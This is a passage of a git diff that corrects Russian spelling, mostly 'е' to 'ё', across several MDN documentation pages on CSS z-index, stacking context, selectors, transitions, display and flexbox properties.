numbers above smaller numbers.</p> +<p>Свойство <code>z-index</code> может иметь значение в целых числах (положительные, ноль, или отрицательные), что представляет собой позицию элемента вдоль оси z. Если вы не знакомы с<strong> </strong>осью<strong> </strong>z, представьте себе страницу как стопку слоёв, имеющих собственное порядковое число. Слои представлены в числовом порядке, with larger numbers above smaller numbers.</p> <ul> <li>bottom layer<em> (farthest from the observer)</em></li> diff --git a/files/ru/web/css/css_positioning/understanding_z_index/index.html b/files/ru/web/css/css_positioning/understanding_z_index/index.html index d2185a90e3..747b7e6a24 100644 --- a/files/ru/web/css/css_positioning/understanding_z_index/index.html +++ b/files/ru/web/css/css_positioning/understanding_z_index/index.html @@ -16,7 +16,7 @@ original_slug: Web/Guide/CSS/Understanding_z_index <p>Обычно HTML страницы можно считать двухмерными, потому что текст, картинки и другие элементы расположены на странице без перекрытия. Существует единый нормальный поток отрисовки (rendering flow) и элементы избегают пространства, занятого другими.{{cssxref("z-index")}} атрибут позволяет регулировать порядок наложения объектов друг на друга в процессе отрисовки контента (rendering content).</p> <blockquote> -<p><em>В CSS 2.1, позиция каждого блока была в трех измерениях. В дополнении к их горизонтальной и вертикальной позиции блоки лежали вдоль оси "z" и располагались один поверх другого. Позиция относительно оси "z" особенно актуальна, когда блоки визуально накладываются друг на друга. </em></p> +<p><em>В CSS 2.1, позиция каждого блока была в трёх измерениях. В дополнении к их горизонтальной и вертикальной позиции блоки лежали вдоль оси "z" и располагались один поверх другого. Позиция относительно оси "z" особенно актуальна, когда блоки визуально накладываются друг на друга. </em></p> </blockquote> <p>(from <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#z-index">CSS 2.1 Section 9.9.1 - Layered presentation</a>)</p> diff --git a/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html index 5a3ae04036..a440844986 100644 --- a/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html +++ b/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html @@ -3,7 +3,7 @@ title: Контекст наложения (stacking context) slug: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context --- -<p>Контекст наложения (stacking context) это концепция трехмерного расположения HTML элементов вдоль оси Z по отношению к пользователю, находящемуся перед экраном. HTML элементы занимают это место по порядку, основанному на атрибутах элемента.</p> +<p>Контекст наложения (stacking context) это концепция трёхмерного расположения HTML элементов вдоль оси Z по отношению к пользователю, находящемуся перед экраном. HTML элементы занимают это место по порядку, основанному на атрибутах элемента.</p> <p>« <a href="/en-US/docs/CSS" title="CSS">CSS</a> « <a href="/en-US/docs/CSS/Understanding_z-index" title="Understanding CSS z-index">Understanding CSS z-index</a></p> @@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_conte <p> </p> -<p>В предыдущем примере <a href="/en-US/docs/CSS/Understanding_z-index/Adding_z-index" title="Adding z-index">Добавляем z-index</a>, порядок отображения определенных DIVs элементов зависел от их z-index значения. Это возникает благодаря тому, что у этих элементов есть специальные свойства, которые заставляют их формировать контекст наполнения ( <em>stacking context )</em>.</p> +<p>В предыдущем примере <a href="/en-US/docs/CSS/Understanding_z-index/Adding_z-index" title="Adding z-index">Добавляем z-index</a>, порядок отображения определённых DIVs элементов зависел от их z-index значения. Это возникает благодаря тому, что у этих элементов есть специальные свойства, которые заставляют их формировать контекст наполнения ( <em>stacking context )</em>.</p> <p>Контекст может формироваться в любом месте документа, любым элементом, у которого выполняется одно из следующих условий: </p> @@ -34,18 +34,18 @@ translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_conte <p>Суммируем:</p> <ul> - <li>Позиционирование и присваивание HTML элементам свойства z-index создает контекст наложения, (так же как и присваивание элементу opacity меньше 1).</li> + <li>Позиционирование и присваивание HTML элементам свойства z-index создаёт контекст наложения, (так же как и присваивание элементу opacity меньше 1).</li> <li>Контексты наложения могут быть частью других контекстов наложения и вместе создавать иерархию контекстов наложения. </li> - <li>Каждый контекст наложения абсолютно независим от своего соседа: только подчиненные элементы учитываются при обработке контекста наложения.</li> + <li>Каждый контекст наложения абсолютно независим от своего соседа: только подчинённые элементы учитываются при обработке контекста наложения.</li> </ul> -<div class="note"><strong>Note:</strong> Иерархия контекстов наложения является подмножеством иерархии HTML элементов, потому что только определенные элементы создают контексты наложения. Можно сказать, что элементы, которые не создают собственного контекста наложения, используют контекст наложения родителя.</div> +<div class="note"><strong>Note:</strong> Иерархия контекстов наложения является подмножеством иерархии HTML элементов, потому что только определённые элементы создают контексты наложения. Можно сказать, что элементы, которые не создают собственного контекста наложения, используют контекст наложения родителя.</div> <h2 id="Пример"><strong>Пример</strong></h2> <p><img alt="Example of stacking rules modified using z-index" src="/@api/deki/files/913/=Understanding_zindex_04.png"></p> -<p>В примере каждый позиционированный элемент создает свой контекст наложения, так как имеет свойства position и z-index. Иерархия контекстов наложения выглядит следующим образом:</p> +<p>В примере каждый позиционированный элемент создаёт свой контекст наложения, так как имеет свойства position и z-index. Иерархия контекстов наложения выглядит следующим образом:</p> <ul> <li>Root diff --git a/files/ru/web/css/css_scroll_snap/basic_concepts/index.html b/files/ru/web/css/css_scroll_snap/basic_concepts/index.html index a6ab4ae735..ceb30aa8ab 100644 --- a/files/ru/web/css/css_scroll_snap/basic_concepts/index.html +++ b/files/ru/web/css/css_scroll_snap/basic_concepts/index.html @@ -21,7 +21,7 @@ translation_of: Web/CSS/CSS_Scroll_Snap/Basic_concepts <p>Также можно передавать ключевые слова <code>mandatory</code>, или <code>proximity</code>. Ключевое слово <code>mandatory</code> определяет обязательное смещение прокрутки браузера к ближайшей точке привязки. Ключевое слово <code>proximity</code> означает, что привязка может произойти , но не обязательно.</p> -<p>Использование <code>mandatory</code> делает взаимодействие с интерфейсом однородным и предсказуемым — вы знаете, что браузер всегда будет смещать область видимости к каждой заданной точке привязки. Это даёт уверенность в том, что в после прокрутки экрана, в его верхней части окажется именно то, что вы и ожидаете там увидеть.Однако, это может привести и к проблемам, если содержимое слишком большое по высоте — пользователи могут оказаться в очень неприятной ситуации, не имея возможности переместиться к определенному месту на странице странице. Следовательно, применение <code>mandatory</code> должно быть тщательно продуманным и использовано только в тех ситуациях, когда вы точно знаете, какое количество содержимого будет на экране в каждый момент времени.</p> +<p>Использование <code>mandatory</code> делает взаимодействие с интерфейсом однородным и предсказуемым — вы знаете, что браузер всегда будет смещать область видимости к каждой заданной точке привязки. Это даёт уверенность в том, что в после прокрутки экрана, в его верхней части окажется именно то, что вы и ожидаете там увидеть.Однако, это может привести и к проблемам, если содержимое слишком большое по высоте — пользователи могут оказаться в очень неприятной ситуации, не имея возможности переместиться к определённому месту на странице странице. Следовательно, применение <code>mandatory</code> должно быть тщательно продуманным и использовано только в тех ситуациях, когда вы точно знаете, какое количество содержимого будет на экране в каждый момент времени.</p> <p>При значении <code>proximity</code> привязка будет осуществляться только в тех ситуациях, когда область видимости находится достаточно близко к точке привязки. Определение точного расстояния, на котором это будет происходить, остаётся за браузером. В примере ниже вы можете изменить значение с <code>mandatory</code> на <code>proximity</code>, чтобы увидеть, как это влияет на работу прокрутки.</p> diff --git a/files/ru/web/css/css_selectors/index.html b/files/ru/web/css/css_selectors/index.html index 039e006a62..90a32e92c9 100644 --- a/files/ru/web/css/css_selectors/index.html +++ b/files/ru/web/css/css_selectors/index.html @@ -18,7 +18,7 @@ original_slug: Web/CSS/CSS_Селекторы <dl> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Universal_selectors">Универсальный селектор</a></dt> - <dd>Выбирает все элементы. По желанию, он может быть ограничен определенным пространством имен или относиться ко всему пространству имён.<br> + <dd>Выбирает все элементы. По желанию, он может быть ограничен определённым пространством имён или относиться ко всему пространству имён.<br> <strong>Синтаксис:</strong> <code>*</code> <code><var>ns</var>|*</code> <code>*|*</code><br> <strong>Пример:</strong> <code>*</code> будет соответствовать всем элементам на странице.</dd> </dl> @@ -31,11 +31,11 @@ original_slug: Web/CSS/CSS_Селекторы <dt><a href="/en-US/docs/Web/CSS/Class_selectors">Селекторы по классу</a></dt> <dd>Этот базовый селектор выбирает элементы, основываясь на значении их атрибута <code>class</code>.<br> <strong>Синтаксис: </strong> <code>.<em>имяКласса</em></code><br> - <strong>Пример: </strong>селектор<strong> </strong><code>.index</code> выберет все элементы с соответствующим классом (который был определен в атрибуте <code>class="index"</code>).</dd> + <strong>Пример: </strong>селектор<strong> </strong><code>.index</code> выберет все элементы с соответствующим классом (который был определён в атрибуте <code>class="index"</code>).</dd> <dt><a href="/en-US/docs/Web/CSS/ID_selectors">Селекторы по идентификатору</a></dt> <dd>Этот базовый селектор выбирает элементы, основываясь на значении их <code>id</code> атрибута. Не забывайте, что идентификатор должен быть уникальным, т. е. использоваться только для одного элемента в HTML-документе. <br> <strong>Синтаксис: </strong> <code>#имяИдентификатора</code><br> - <strong>Пример: </strong>селектор <code>#toc</code> выберет элемент с идентификатором toc (который был определен в атрибуте <code>id="toc"</code>).</dd> + <strong>Пример: </strong>селектор <code>#toc</code> выберет элемент с идентификатором toc (который был определён в атрибуте <code>id="toc"</code>).</dd> <dt><a href="/en-US/docs/Web/CSS/Attribute_selectors">Селекторы по атрибуту</a></dt> <dd>Этот селектор выбирает все элементы, имеющие данный атрибут или атрибут с определённым значением.<br> <strong>Синтаксис:</strong> <code>[attr] [attr=value] [attr~=value] [attr|=value] [attr^=value] [attr$=value] [attr*=value]</code><br> diff --git a/files/ru/web/css/css_transitions/using_css_transitions/index.html b/files/ru/web/css/css_transitions/using_css_transitions/index.html index 69572dcdd2..883e0dbca5 100644 --- a/files/ru/web/css/css_transitions/using_css_transitions/index.html +++ b/files/ru/web/css/css_transitions/using_css_transitions/index.html @@ -15,7 +15,7 @@ translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions <h2 id="Какие_CSS_свойства_анимируются">Какие CSS свойства анимируются?</h2> -<p>Разработчик может определить какое свойство и как анимировать. Это позволяет создавать сложные переходы. Так как некоторые свойства не имеет смысла анимировать, перечень<a href="/en-US/docs/CSS/CSS_animated_properties"> доступных для анимирования свойств </a>ограничен определенным набором.</p> +<p>Разработчик может определить какое свойство и как анимировать. Это позволяет создавать сложные переходы. Так как некоторые свойства не имеет смысла анимировать, перечень<a href="/en-US/docs/CSS/CSS_animated_properties"> доступных для анимирования свойств </a>ограничен определённым набором.</p> <div class="note">Замечание: Перечень анимируемых свойств может меняться по мере изменения спецификации.</div> @@ -60,7 +60,7 @@ translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions <p>CSS переходы контролируются свойством<a href="https://developer.mozilla.org/en-US/docs/CSS/transition"> </a>{{cssxref("transition")}}. Это лучший способ их настроить, позволяет избежать длинных свойств и их несоответствий, которые могут сделать отладку CSS долгой.</p> -<p>Можно контролировать определенные параметры перехода следующими подсвойствами:</p> +<p>Можно контролировать определённые параметры перехода следующими подсвойствами:</p> <p><strong>(Заметьте, что циклы переходов бесконечны только для наших примеров; CSS <code>transition</code>s только анимируют смену свойства. Если вам нужно визуализировать этот цикл, обратите внимание на свойство <a href="/en-US/docs/CSS/animation"><code>animation</code></a>.)</strong></p> @@ -889,7 +889,7 @@ var intervalID = window.setInterval(updateTransition, 7000); <h2 id="Определение_завершения_перехода">Определение завершения перехода</h2> -<p>Есть событие, срабатывающее, когда переход завершен. Во всех браузерах, совместимых со стандартами, есть событие <code>transitionend</code>, в WebKit есть <code>webkitTransitionEnd</code>. Смотрите таблицу поддержки браузерами для дополнительной информации. У <code>transitionend</code> есть 2 свойства:</p> +<p>Есть событие, срабатывающее, когда переход завершён. Во всех браузерах, совместимых со стандартами, есть событие <code>transitionend</code>, в WebKit есть <code>webkitTransitionEnd</code>. Смотрите таблицу поддержки браузерами для дополнительной информации. У <code>transitionend</code> есть 2 свойства:</p> <dl> <dt><code>propertyName</code></dt> @@ -938,7 +938,7 @@ var intervalID = window.setInterval(updateTransition, 7000); <h2 id="Простой_пример">Простой пример</h2> -<p>Пример 4 секунды выполняет плавное изменение шрифта за 2 секунды, после того как пользователь навел мышь на элемент:</p> +<p>Пример 4 секунды выполняет плавное изменение шрифта за 2 секунды, после того как пользователь навёл мышь на элемент:</p> <pre class="brush: css">#delay1 { position: relative; @@ -1017,7 +1017,7 @@ var intervalID = window.setInterval(updateTransition, 7000); <div id="foo"></div> </pre> -<p>Используя JavaScript, добиваемся эффекта перемещения шара на определенную позицию:</p> +<p>Используя JavaScript, добиваемся эффекта перемещения шара на определённую позицию:</p> <pre class="brush: js">var f = document.getElementById('foo'); document.addEventListener('click', function(ev){ diff --git a/files/ru/web/css/cursor/index.html b/files/ru/web/css/cursor/index.html index f45445f056..20368efd85 100644 --- a/files/ru/web/css/cursor/index.html +++ b/files/ru/web/css/cursor/index.html @@ -31,7 +31,7 @@ cursor: unset; <dl> <dt><<code>url</code>></dt> - <dd>Ссылка или разделенный запятыми список ссылок: <code>url(…), url(…), …</code>, указывающие на файл изображения. Дополнительные ссылки могут быть предоставлены в качестве запасных значений, на случай если изображение по основной ссылке не поддерживается в качестве курсора. Запасное значение, не являющееся ссылкой (одно или несколько ключевых слов) <strong>должно </strong>находиться в конце списка значений. See <a href="/en-US/docs/CSS/Using_URL_values_for_the_cursor_property" title="Using_URL_values_for_the_cursor_property">Using URL values for the cursor property</a> for more details.</dd> + <dd>Ссылка или разделённый запятыми список ссылок: <code>url(…), url(…), …</code>, указывающие на файл изображения. Дополнительные ссылки могут быть предоставлены в качестве запасных значений, на случай если изображение по основной ссылке не поддерживается в качестве курсора. Запасное значение, не являющееся ссылкой (одно или несколько ключевых слов) <strong>должно </strong>находиться в конце списка значений. See <a href="/en-US/docs/CSS/Using_URL_values_for_the_cursor_property" title="Using_URL_values_for_the_cursor_property">Using URL values for the cursor property</a> for more details.</dd> <dt><code><x></code> <code><y></code> {{experimental_inline}}</dt> <dd>Необязательные значения х- и у- координат. Два безразмерных неотрицательных числа меньше 32.</dd> <dt>Ключевые слова</dt> diff --git a/files/ru/web/css/descendant_combinator/index.html b/files/ru/web/css/descendant_combinator/index.html index b1305b3171..bef042cb34 100644 --- a/files/ru/web/css/descendant_combinator/index.html +++ b/files/ru/web/css/descendant_combinator/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/Descendant_combinator <h2 id="Summary" name="Summary">Описание</h2> -<p>Комбинатор<code> ␣</code> (пробел) представляет собой 2 или более селекторов, найдет элементы соответствующие обоим селекторам. Селекторы по потомкам похожи на селекторы <a href="/ru/docs/Web/CSS/Child_selectors">дочерних элементов</a>, но они не учитывают вложенность элементов и применяют свои свойства ко всем элементам данного типа, находящимся внутри родительского элемента, независимо от глубины вложенности.</p> +<p>Комбинатор<code> ␣</code> (пробел) представляет собой 2 или более селекторов, найдёт элементы соответствующие обоим селекторам. Селекторы по потомкам похожи на селекторы <a href="/ru/docs/Web/CSS/Child_selectors">дочерних элементов</a>, но они не учитывают вложенность элементов и применяют свои свойства ко всем элементам данного типа, находящимся внутри родительского элемента, независимо от глубины вложенности.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/css/display-listitem/index.html b/files/ru/web/css/display-listitem/index.html index 4eee12345e..798ac47d3f 100644 --- a/files/ru/web/css/display-listitem/index.html +++ b/files/ru/web/css/display-listitem/index.html @@ -16,7 +16,7 @@ translation_of: Web/CSS/display-listitem <h2 id="Синтаксис">Синтаксис</h2> -<p>Единственное значение <code> list-item приведет к тому, что элемент будет вести себя как элемент списка. Это можно использовать вместе с {{CSSxRef("list-style-type")}} и {{CSSxRef("list-style-position")}}.</code></p> +<p>Единственное значение <code> list-item приведёт к тому, что элемент будет вести себя как элемент списка. Это можно использовать вместе с {{CSSxRef("list-style-type")}} и {{CSSxRef("list-style-position")}}.</code></p> <div class="note"> <p><code><strong>Примечание</strong>:В браузерах, поддерживающих двухзначный синтаксис, если внутреннее значение не указано, по умолчанию оно будет </code>flow<code>. Если внешнее значение не указано, основной блок будет иметь внешний вид отображения (</code>outer display type<code>) <code>block</code>.</code></p> diff --git a/files/ru/web/css/display-outside/index.html b/files/ru/web/css/display-outside/index.html index 60ee3de15e..a41442267d 100644 --- a/files/ru/web/css/display-outside/index.html +++ b/files/ru/web/css/display-outside/index.html @@ -24,15 +24,15 @@ translation_of: Web/CSS/display-outside <dt><code>block</code></dt> <dd>Элемент генерирует бокс элемента, создавая разрывы линий, как перед, так и после элемента, при условии нормального потока.</dd> <dt><code>inline</code></dt> - <dd>Элемент создает один или более строковых (inline) боксов элемента, которые не создают разрывов строк перед собой или после себя. В нормальном потоке следующий элемент будет находиться на той же линии, если есть пробел.</dd> + <dd>Элемент создаёт один или более строковых (inline) боксов элемента, которые не создают разрывов строк перед собой или после себя. В нормальном потоке следующий элемент будет находиться на той же линии, если есть пробел.</dd> <dt><code>run-in</code> {{Experimental_Inline}}</dt> - <dd>Элемент генерирует run-in бокс. Если соседний родственный (sibling) элемент определен как <code>display: run-in, тогда</code> бокс является блоковым боксом, <code>run-in</code> бокс становится первым строковым (inline) боксом блокового бокса, который следует за ним. <br> + <dd>Элемент генерирует run-in бокс. Если соседний родственный (sibling) элемент определён как <code>display: run-in, тогда</code> бокс является блоковым боксом, <code>run-in</code> бокс становится первым строковым (inline) боксом блокового бокса, который следует за ним. <br> <br> Run-in элементы ведут себя как строковые (inlines) или блоковые, в зависимости от окружающих элементов. Если run-in бокс содержит блоковый бокс, тогда он сам считается блоковым. Если блоковый бокс следует за run-in боксом, тогда run-in бокс становится первым строковым (inline) боксом блокового бокса. Если за ним следует строковый (inline) бокс, тогда run-in бокс становится блоковым боксом.</dd> </dl> <div class="note"> -<p><strong>Замечание</strong>: Браузеры, поддерживающие двузначный синтаксис значений, при обнаружении только внешнего значения, например, при отображении <code> display: block </code> или <code>display: inline,</code> установят внутреннее значение как <code>flow</code>. Это приведет к ожидаемому поведению; например, если вы укажете элемент, который будет блоком, вы ожидаете, что его дочерние элементы будут участвовать в блочной и строковой разметке нормального потока.</p> +<p><strong>Замечание</strong>: Браузеры, поддерживающие двузначный синтаксис значений, при обнаружении только внешнего значения, например, при отображении <code> display: block </code> или <code>display: inline,</code> установят внутреннее значение как <code>flow</code>. Это приведёт к ожидаемому поведению; например, если вы укажете элемент, который будет блоком, вы ожидаете, что его дочерние элементы будут участвовать в блочной и строковой разметке нормального потока.</p> </div> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/css/display/index.html b/files/ru/web/css/display/index.html index 9c23ae0a01..9f77aa45c7 100644 --- a/files/ru/web/css/display/index.html +++ b/files/ru/web/css/display/index.html @@ -14,7 +14,7 @@ translation_of: Web/CSS/display <p class="summary">Свойство <strong><code>display</code></strong> (<a href="/ru/docs/Web/CSS">CSS</a>) определяет <dfn><em>тип отображения (display type)</em> элемента</dfn>, имеющий два основных свойства, определяющих генерацию боксов — <strong>внешний тип отображения</strong> определяет расположение бокса в <a href="/ru/docs/Web/CSS/CSS_Flow_Layout">схеме потока (flow layout)</a> и <strong>внутренний тип отображения</strong> определяет расположение дочерних элементов бокса (бокс - это прямоугольная область, являющаяся изображением элемента).</p> -<p>Некоторые значения свойства <code>display</code> полностью определены в их индивидуальных спецификациях; смотрите таблицу в конце этого документа со ссылками на все релевантные спецификации. Полный список значений приведен ниже.</p> +<p>Некоторые значения свойства <code>display</code> полностью определены в их индивидуальных спецификациях; смотрите таблицу в конце этого документа со ссылками на все релевантные спецификации. Полный список значений приведён ниже.</p> <pre class="brush:css no-line-numbers">/* <display-outside> values */ display: block; @@ -78,7 +78,7 @@ display: unset; <h2 id="Синтаксис">Синтаксис</h2> -<p>Свойство <code>display</code> задается с помощью ключевых слов. Ключевые слова группируются по шести категориям:</p> +<p>Свойство <code>display</code> задаётся с помощью ключевых слов. Ключевые слова группируются по шести категориям:</p> <dl> <dt>{{CSSxRef("<display-outside>")}}</dt> @@ -86,7 +86,7 @@ display: unset; <dt>{{CSSxRef("<display-inside>")}}</dt> <dd>Эти ключевые слова определяют внутренний тип отображения ( inner display type) элемента, который определяет тип контекста форматирования, в котором располагается его содержимое (при условии, что это незаменяемый элемент).</dd> <dt>{{CSSxRef("<display-listitem>")}}</dt> - <dd>Создает блоковый бокс для контента и отдельный строковый (inline) бокс для элемента списка.</dd> + <dd>Создаёт блоковый бокс для контента и отдельный строковый (inline) бокс для элемента списка.</dd> <dt>{{CSSxRef("<display-internal>")}}</dt> <dd>Некоторые модели разметки, такие как <code><span class="css">table</span></code> и <code>ruby,</code> имеют сложную внутреннюю структуру с несколькими различными ролями, которые могут выполнять их дочерние элементы и потомки. Этот раздел определяет те "внутренние" значения отображения, которые имеют смысл только в рамках этих конкретных методов разметок.</dd> <dt>{{CSSxRef("<display-box>")}}</dt> @@ -122,7 +122,7 @@ display: unset; <p>В разделе {{anch("Syntax")}} содержатся несколько примеров для разных типов значений <code>display</code>, которые это свойство может принимать.</p> -<p>Кроме того, вы можете найти подробные объяснения способов разметки для определенных значений <code>display</code> в других статьях на MDN:</p> +<p>Кроме того, вы можете найти подробные объяснения способов разметки для определённых значений <code>display</code> в других статьях на MDN:</p> <ul> <li><a href="/ru/docs/Web/CSS/CSS_Grid_Layout">Разметка CSS Grid </a></li> diff --git a/files/ru/web/css/filter/index.html b/files/ru/web/css/filter/index.html index 47f4e2954e..d17696fa1b 100644 --- a/files/ru/web/css/filter/index.html +++ b/files/ru/web/css/filter/index.html @@ -16,7 +16,7 @@ translation_of: Web/CSS/filter <p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>filter</code></strong> позволяет Вам применять к элементу такие графические эффекты, как размытие и смещение цвета. Фильтры обычно используются для регулировки рендеринга изображений, фонов и рамок.</p> -<p>В стандарт CSS включены несколько функций, которые обеспечивают предопределенные эффекты. Вы также можете ссылаться на SVG фильтр с URL-адресом на <a href="/en-US/docs/Web/SVG/Element/filter">элемент фильтра SVG</a>.</p> +<p>В стандарт CSS включены несколько функций, которые обеспечивают предопределённые эффекты. Вы также можете ссылаться на SVG фильтр с URL-адресом на <a href="/en-US/docs/Web/SVG/Element/filter">элемент фильтра SVG</a>.</p> <div class="note"><strong>Предупреждение:</strong> Старые версии (с 4.0 до 9.0) браузера Windows Internet Explorer поддерживают нестандартный <a class="external" href="http://msdn.microsoft.com/en-us/library/ms532853(v=vs.85).aspx">"filter"</a>, который с тех пор устарел.</div> diff --git a/files/ru/web/css/flex-basis/index.html b/files/ru/web/css/flex-basis/index.html index a4973a1812..35c6cbeca1 100644 --- a/files/ru/web/css/flex-basis/index.html +++ b/files/ru/web/css/flex-basis/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/flex-basis --- <div>{{CSSRef}}</div> -<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>flex-basis</code></strong> задает базовый размер флекс элемента по <strong>основной оси</strong>. Это свойство определяет размер контент-бокса, если не задано иначе через {{Cssxref("box-sizing")}}.</p> +<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>flex-basis</code></strong> задаёт базовый размер флекс элемента по <strong>основной оси</strong>. Это свойство определяет размер контент-бокса, если не задано иначе через {{Cssxref("box-sizing")}}.</p> <div>{{EmbedInteractiveExample("pages/css/flex-basis.html")}}</div> @@ -43,7 +43,7 @@ flex-basis: unset; -<p>Свойство <code>flex-basis</code> задается через ключевое слово <code><a href="#content">content</a></code> или через <code><a href="#<'width'>"><'width'></a></code>.</p> +<p>Свойство <code>flex-basis</code> задаётся через ключевое слово <code><a href="#content">content</a></code> или через <code><a href="#<'width'>"><'width'></a></code>.</p> <h3 id="Значения">Значения</h3> @@ -51,7 +51,7 @@ flex-basis: unset; <dt><a id="<'width'>" name="<'width'>"><code><'ширина'></code></a></dt> <dd>An absolute {{cssxref("<length>")}}, a {{cssxref("<percentage>")}} родительского flex контейнера главное size свойство, или ключевое слово <code>auto</code>. Негативные значения не допустимы.</dd> <dt><a id="content" name="content"><code>content</code></a></dt> - <dd>Автоматический задает размер на основе содержимого элемента flex.</dd> + <dd>Автоматический задаёт размер на основе содержимого элемента flex.</dd> <dd> <div class="note"><strong>Заметка:</strong> Это значение отсутствовало в первоначальном релизе Flexible Box Layout, и, следовательно, некоторые предыдущие релизы не будут поддерживать его. Аналогичный эффект можно получить, используя <code>auto</code> вместе с основным размером (<a href="https://drafts.csswg.org/css2/visudet.html#propdef-width">width</a> или <a href="https://drafts.csswg.org/css2/visudet.html#propdef-height">height</a>) <code>auto</code>.</div> @@ -60,7 +60,7 @@ flex-basis: unset; <ul> <li>Первоначально, <code>flex-basis:auto</code> означает "смотреть на значения <code>width</code> или <code>height</code>".</li> - <li>Затем <code>flex-basis:auto</code> был изменен на автоматический размер, а "main-size" было введено как ключевое слово, означающее "смотреть на значения <code>width</code> или <code>height</code>". Это было реализован в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1032922" title='RESOLVED FIXED - Rename "flex-basis:auto" to "main-size", while preserving "flex:auto" shorthand value'>баге 1032922</a>.</li> + <li>Затем <code>flex-basis:auto</code> был изменён на автоматический размер, а "main-size" было введено как ключевое слово, означающее "смотреть на значения <code>width</code> или <code>height</code>". Это было реализован в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1032922" title='RESOLVED FIXED - Rename "flex-basis:auto" to "main-size", while preserving "flex:auto" shorthand value'>баге 1032922</a>.</li> <li>Затем в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1093316" title='RESOLVED FIXED - Back out flexbox "flex-basis:main-size" rename, since the CSSWG removed it from the spec'>баге 1093316</a> это было возвращено обратно, поэтому <code>auto</code> снова означает "смотреть на значения <code>width</code> или <code>height</code>"; а новое ключевое слово <code>content</code> было введено для автоматического размера. ({{bug("1105111")}} охватывает добавление этого ключевого слова).</li> </ul> </div> diff --git a/files/ru/web/css/flex-direction/index.html b/files/ru/web/css/flex-direction/index.html index 4c343b98b7..06861addbf 100644 --- a/files/ru/web/css/flex-direction/index.html +++ b/files/ru/web/css/flex-direction/index.html @@ -43,11 +43,11 @@ flex-direction: unset; <dt><code>row</code></dt> <dd>Главная ось flex-контейнера определена точно так же, как направление текста. Точки <strong>main-start</strong> и <strong>main-end</strong> совпадают с направлением контента.</dd> <dt><code>row-reverse</code></dt> - <dd>Ведет себя аналогично <code>row</code> , но точки <strong>main-start</strong> и <strong>main-end</strong> поменяны местами.</dd> + <dd>Ведёт себя аналогично <code>row</code> , но точки <strong>main-start</strong> и <strong>main-end</strong> поменяны местами.</dd> <dt><code>column</code></dt> <dd>Главная ось flex-контейнера такая же, как ось блока (block-axis). Точки <strong>main-start</strong> и <strong>main-end</strong> такие же, как точки <strong>before</strong> и <strong>after</strong> режима записи (writing-mode).</dd> <dt><code>column-reverse</code></dt> - <dd>Ведет себя, как <code>column</code> , но точки <strong>main-start</strong> и <strong>main-end</strong> поменяны местами.</dd> + <dd>Ведёт себя, как <code>column</code> , но точки <strong>main-start</strong> и <strong>main-end</strong> поменяны местами.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/flex-grow/index.html b/files/ru/web/css/flex-grow/index.html index 3ce8182a72..740a6a9560 100644 --- a/files/ru/web/css/flex-grow/index.html +++ b/files/ru/web/css/flex-grow/index.html @@ -12,7 +12,7 @@ translation_of: Web/CSS/flex-grow --- <div>{{CSSRef}}</div> -<p><span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a>-свойство <strong><code>flex-grow</code></strong> определяет как много свободного пространства во flex-контейнере должно быть назначено текущему элементу (flex grow factor — «коэффициент увеличения flex»).</span> Свободное пространство — разница между размером flex-контейнера и размером всех его flex-элементов вместе. Если все sibling-элементы (sibling items — элементы одного уровня вложенности, состоящие по отношению друг к другу в родственной связи как брат или сестра), имеют одинаковый коэффициент flex-grow, то все они получат одинаковую долю свободного пространства, в противном случае оно распределяется в соответствии с соотношением, определенным различными коэффициентами flex-grow.</p> +<p><span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a>-свойство <strong><code>flex-grow</code></strong> определяет как много свободного пространства во flex-контейнере должно быть назначено текущему элементу (flex grow factor — «коэффициент увеличения flex»).</span> Свободное пространство — разница между размером flex-контейнера и размером всех его flex-элементов вместе. Если все sibling-элементы (sibling items — элементы одного уровня вложенности, состоящие по отношению друг к другу в родственной связи как брат или сестра), имеют одинаковый коэффициент flex-grow, то все они получат одинаковую долю свободного пространства, в противном случае оно распределяется в соответствии с соотношением, определённым различными коэффициентами flex-grow.</p> <p>На практике flex-grow используется вместе с другими flex-свойствами {{cssxref("flex-shrink")}} и {{cssxref("flex-basis")}}, и обычно определяется с помощью сокращения (shorthand) {{cssxref("flex")}}, чтобы убедиться, что все значения заданы.</p> diff --git a/files/ru/web/css/flex-wrap/index.html b/files/ru/web/css/flex-wrap/index.html index 345b55bbaa..339db730a5 100644 --- a/files/ru/web/css/flex-wrap/index.html +++ b/files/ru/web/css/flex-wrap/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/flex-wrap --- <div>{{ CSSRef}}</div> -<p>Свойство <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>flex-wrap</code></strong> задает правила вывода flex-элементов — в одну строку или в несколько, с переносом блоков. Если перенос разрешен, то возможно задать направление, в котором выводятся блоки.</p> +<p>Свойство <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>flex-wrap</code></strong> задаёт правила вывода flex-элементов — в одну строку или в несколько, с переносом блоков. Если перенос разрешён, то возможно задать направление, в котором выводятся блоки.</p> <pre class="brush:css no-line-numbers notranslate">flex-wrap: nowrap; flex-wrap: wrap; diff --git 